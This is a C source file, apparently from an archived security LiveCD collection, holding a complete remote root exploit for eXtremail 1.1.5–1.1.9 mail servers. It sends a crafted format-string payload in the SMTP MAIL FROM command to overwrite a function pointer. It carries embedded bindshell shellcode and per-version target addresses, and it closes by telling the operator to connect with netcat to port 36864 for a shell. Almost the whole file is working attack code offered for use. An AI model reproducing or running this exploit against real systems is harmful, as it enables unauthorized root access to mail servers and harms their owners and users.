home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / extremail / extremail-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  264 lines

  1. /* eXtremail-exp.c
  2.  *
  3.  * - eXtremail v1.1.5-9 Remote Root Exploit (x86) -
  4.  *
  5.  * - Tested on: RedHat 7.0 eXtremail v1.1.5
  6.  *              RedHat 7.0 eXtremail v1.1.6
  7.  *              RedHat 7.0 eXtremail v1.1.7
  8.  *              RedHat 7.0 eXtremail v1.1.8
  9.  *              RedHat 7.0 eXtremail v1.1.9
  10.  *              NOT VULNERABLE eXtremail v1.1.10
  11.  *
  12.  * Copyright (c) 2001 by <mu-b@digit-labs.org>
  13.  *
  14.  * eXtremail v1.1.5+ has a format string problem
  15.  * in flog(). This problem affects all user commands
  16.  * (helo/ehlo/mail from:/rcpt to:), and is caused
  17.  * by an improper fprintf() to the servers logfile.
  18.  *
  19.  * Buffers for helo/ehlo are too small (except v1.1.5),
  20.  * therefore we use mail from: instead :). 
  21.  *
  22.  * Note: Return Address's are quite tight due to the small
  23.  *       buffers. Returning to the Heap is possible but
  24.  *       is VERY unstable.
  25.  *
  26.  * Greets: mjm, all@alldas.de, teleh0r, grazer, cmds, gollum, #!digit-labs
  27.  *
  28.  * http://www.digit-labs.org/ -- Digit-Labs 2001!@$!
  29.  */
  30.  
  31. #include <stdio.h>
  32. #include <stdlib.h>
  33. #include <string.h>
  34. #include <unistd.h>
  35. #include <errno.h>
  36. #include <netdb.h>
  37. #include <resolv.h>
  38. #include <arpa/inet.h>
  39. #include <netinet/in.h>
  40. #include <sys/types.h>
  41. #include <sys/socket.h>
  42. #include <sys/time.h>
  43. #include <sys/stat.h>
  44.  
  45. #define NOP        0x41
  46. #define NUMVULN    4
  47. #define OFFSET    0
  48. #define PORT    25
  49.  
  50. void banner();
  51. void mkfmt();
  52. int opensocket(char *);
  53. void usage();
  54.  
  55. char buf[520];
  56. int buflength, type = 0, sock;
  57. unsigned long target, retaddr;
  58.  
  59. unsigned char shellcode[]= /* lamagra bindshell code */
  60.     "\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
  61.     "\x40\x89\xc3\x89\x46\x0c\x40\x89"
  62.         "\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
  63.         "\x80\x43\xc6\x46\x10\x10\x88\x46"
  64.         "\x08\x31\xc0\x31\xd2\x89\x46\x18"
  65.         "\xb0\x90\x66\x89\x46\x16\x8d\x4e"
  66.         "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
  67.         "\x66\xcd\x80\x89\x5e\x0c\x43\x43"
  68.         "\xb0\x66\xcd\x80\x89\x56\x0c\x89"
  69.         "\x56\x10\xb0\x66\x43\xcd\x80\x86"
  70.         "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
  71.         "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
  72.         "\x80\x88\x56\x07\x89\x76\x0c\x87"
  73.         "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
  74.         "\xe8\x8d\xff\xff\xff\x2f\x62\x69"
  75.         "\x6e\x2f\x73\x68";
  76.  
  77. /*   target address's  -> objdump -R smtpd | grep "fflush"   */
  78. struct {
  79.     char *name;
  80.     unsigned long target;
  81.     unsigned long retaddr;
  82.     int padding;
  83.     int buflength;
  84. } targets[] = {
  85.         { "RedHat 7.0 eXtremail v1.1R5", 0x080864e0, 0xbf1ff64a, 1, 500},
  86.         { "RedHat 7.0 eXtremail v1.1R6", 0x08089d5c, 0xbf1ff5d6, 1, 266},
  87.         { "RedHat 7.0 eXtremail v1.1R7", 0x0808b3fc, 0xbf1ff5d6, 1, 266},
  88.         { "RedHat 7.0 eXtremail v1.1R8", 0x0808b6fc, 0xbf1ff5d6, 1, 266},
  89.         { "RedHat 7.0 eXtremail v1.1R9", 0x08088890, 0xbf1ff5d6, 1, 266},
  90.         { 0 } };
  91.  
  92. void banner()
  93. {
  94.    fprintf(stderr, "\neXtremail V1.1R5-9 remote root exploit\n");
  95.    fprintf(stderr, "by: <mu-b@digit-labs.org>\n");
  96.    fprintf(stderr, "Copyright (c) 2001 Digit-Labs!@#$!\n");
  97.    fprintf(stderr, "http://www.digit-labs.org\n\n");
  98. }
  99.  
  100. void mkfmt()
  101. {
  102.    int i, j = 0, num;
  103.    int bytesofar;
  104.    int fmtints[4];
  105.    char *bufptr;
  106.    unsigned char temp[4];
  107.  
  108.    bytesofar = 35 + targets[type].padding;
  109.    bufptr = &buf[strlen(buf)];
  110.  
  111.    temp[0] = (unsigned char) (target & 0x000000ff);
  112.    temp[1] = (unsigned char)((target & 0x0000ff00) >> 8);
  113.    temp[2] = (unsigned char)((target & 0x00ff0000) >> 16);
  114.    temp[3] = (unsigned char)((target & 0xff000000) >> 24);
  115.  
  116.    for(i = 0; i < 4; i++)
  117.    {
  118.       sprintf(bufptr, "%c%c%c%c", temp[0], temp[1], temp[2], temp[3]);
  119.       bufptr += 4;
  120.       temp[0]++;
  121.    }
  122.  
  123.    fmtints[0] = (int) (retaddr & 0x000000ff);
  124.    fmtints[1] = (int)((retaddr & 0x0000ff00) >> 8);
  125.    fmtints[2] = (int)((retaddr & 0x00ff0000) >> 16);
  126.    fmtints[3] = (int)((retaddr & 0xff000000) >> 24);
  127.    
  128.    for(i = 0; i < 4; i++)
  129.    {
  130.       num = 0;
  131.  
  132.       if(fmtints[i] - bytesofar < 10)
  133.       {
  134.          while(num != 1)
  135.          {
  136.             fmtints[i] = (fmtints[i] + 0x100);
  137.             if(fmtints[i] - bytesofar > 9)
  138.             {
  139.                fmtints[i] -= bytesofar;
  140.                bytesofar += fmtints[i];
  141.                num = 1;
  142.             }
  143.          }
  144.       }
  145.       else
  146.       {
  147.          fmtints[i] -= bytesofar;
  148.          bytesofar += fmtints[i];
  149.       }
  150.    }
  151.  
  152.    sprintf(bufptr, "%%.%du%%38$n%%.%du%%39$n%%.%du%%40$n%%.%du%%41$n", fmtints[0], fmtints[1], fmtints[2], fmtints[3]);
  153.  
  154.    for(i = strlen(buf); i < buflength - strlen(shellcode) - 1; i++)
  155.       buf[i] = NOP;
  156.  
  157.    for(i = i; i < buflength - 1; i++)
  158.    {
  159.       buf[i] = shellcode[j];
  160.       j++;
  161.    }
  162.  
  163.    buf[buflength - 1] = '\n';
  164.    buf[buflength] = '\0';
  165.    write(sock, buf, strlen(buf));
  166. }
  167.  
  168. int opensocket(char *host)
  169. {
  170.    int s;
  171.    struct sockaddr_in remote_sin;
  172.    struct hostent *he;
  173.  
  174.    if((s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
  175.       perror("socket()");
  176.       return -1;
  177.    }
  178.  
  179.    memset((char *)&remote_sin, 0, sizeof(remote_sin));
  180.    if((he = gethostbyname(host)) != NULL)
  181.       memcpy((char *)&remote_sin.sin_addr, he->h_addr, he->h_length);
  182.    else if((remote_sin.sin_addr.s_addr = inet_addr(host)) < 0) {
  183.          perror("gethostbyname()/inet_addr()");
  184.          return -1;
  185.    }
  186.  
  187.    remote_sin.sin_family = PF_INET;
  188.    remote_sin.sin_port = htons(PORT);
  189.  
  190.    if(connect(s, (struct sockaddr *)&remote_sin, sizeof(remote_sin)) == -1) {
  191.       perror("connect()");
  192.       close(s);
  193.       return -1;
  194.    }
  195.           
  196.    return s;
  197. }
  198.  
  199. void usage()
  200. {
  201.    int i;
  202.  
  203.    fprintf(stderr, "Usage: ./extremail <host> [type]\n");
  204.    fprintf(stderr, "\nTargets:\n");
  205.  
  206.    for (i = 0; targets[i].name; i++)
  207.       fprintf(stderr, "\t%d.\t%s\n", i, targets[i].name);
  208.  
  209.    fprintf(stderr, "\n");    
  210.    exit(0);
  211. }
  212.  
  213. int main (int argc, char *argv[])
  214. {
  215.    char *host;
  216.    int i;
  217.  
  218.    banner();
  219.  
  220.    if(argc < 2)
  221.       usage();
  222.   
  223.    if(argc >= 3)
  224.       type = atoi(argv[2]);
  225.  
  226.    if(type > NUMVULN)
  227.       type = 0;
  228.    
  229.    host = argv[1];
  230.    buflength = targets[type].buflength;
  231.    target = targets[type].target;
  232.    retaddr = targets[type].retaddr + OFFSET;
  233.  
  234.    fprintf(stderr, "Target:\t\t%s\nType:\t\t%s\n", host, targets[type].name);
  235.    fprintf(stderr, "Target Address:\t%p\nReturn Address:\t%p\nOffset:\t\t%d\n", target, retaddr, OFFSET);
  236.    fprintf(stderr, "Buflength:\t%d\n", buflength);   
  237.  
  238.    if ((sock = opensocket(host)) <= 0)
  239.       return -1;
  240.  
  241.    fprintf(stderr, "\nConnected....\n");
  242.  
  243.    memcpy(buf, "MAIL FROM:<", 11);
  244.    
  245.    for(i = 0; i < targets[type].padding; i++)
  246.       buf[strlen(buf)] = 0x61;
  247.  
  248.    sleep(1);
  249.    write(sock, "HELO digit-labs.org!@#$!\n", 26);
  250.  
  251.    sleep(1);
  252.    mkfmt();
  253.  
  254.    sleep(1);
  255.    close(sock);
  256.  
  257.    fprintf(stderr, "\n[1] sent payload....\n");
  258.    fprintf(stderr, "[2] waiting....\n");
  259.    sleep(2);
  260.    fprintf(stderr, "[3] nc %s 36864 for shell....\n\n", host);
  261.  
  262.    return;
  263. }
  264.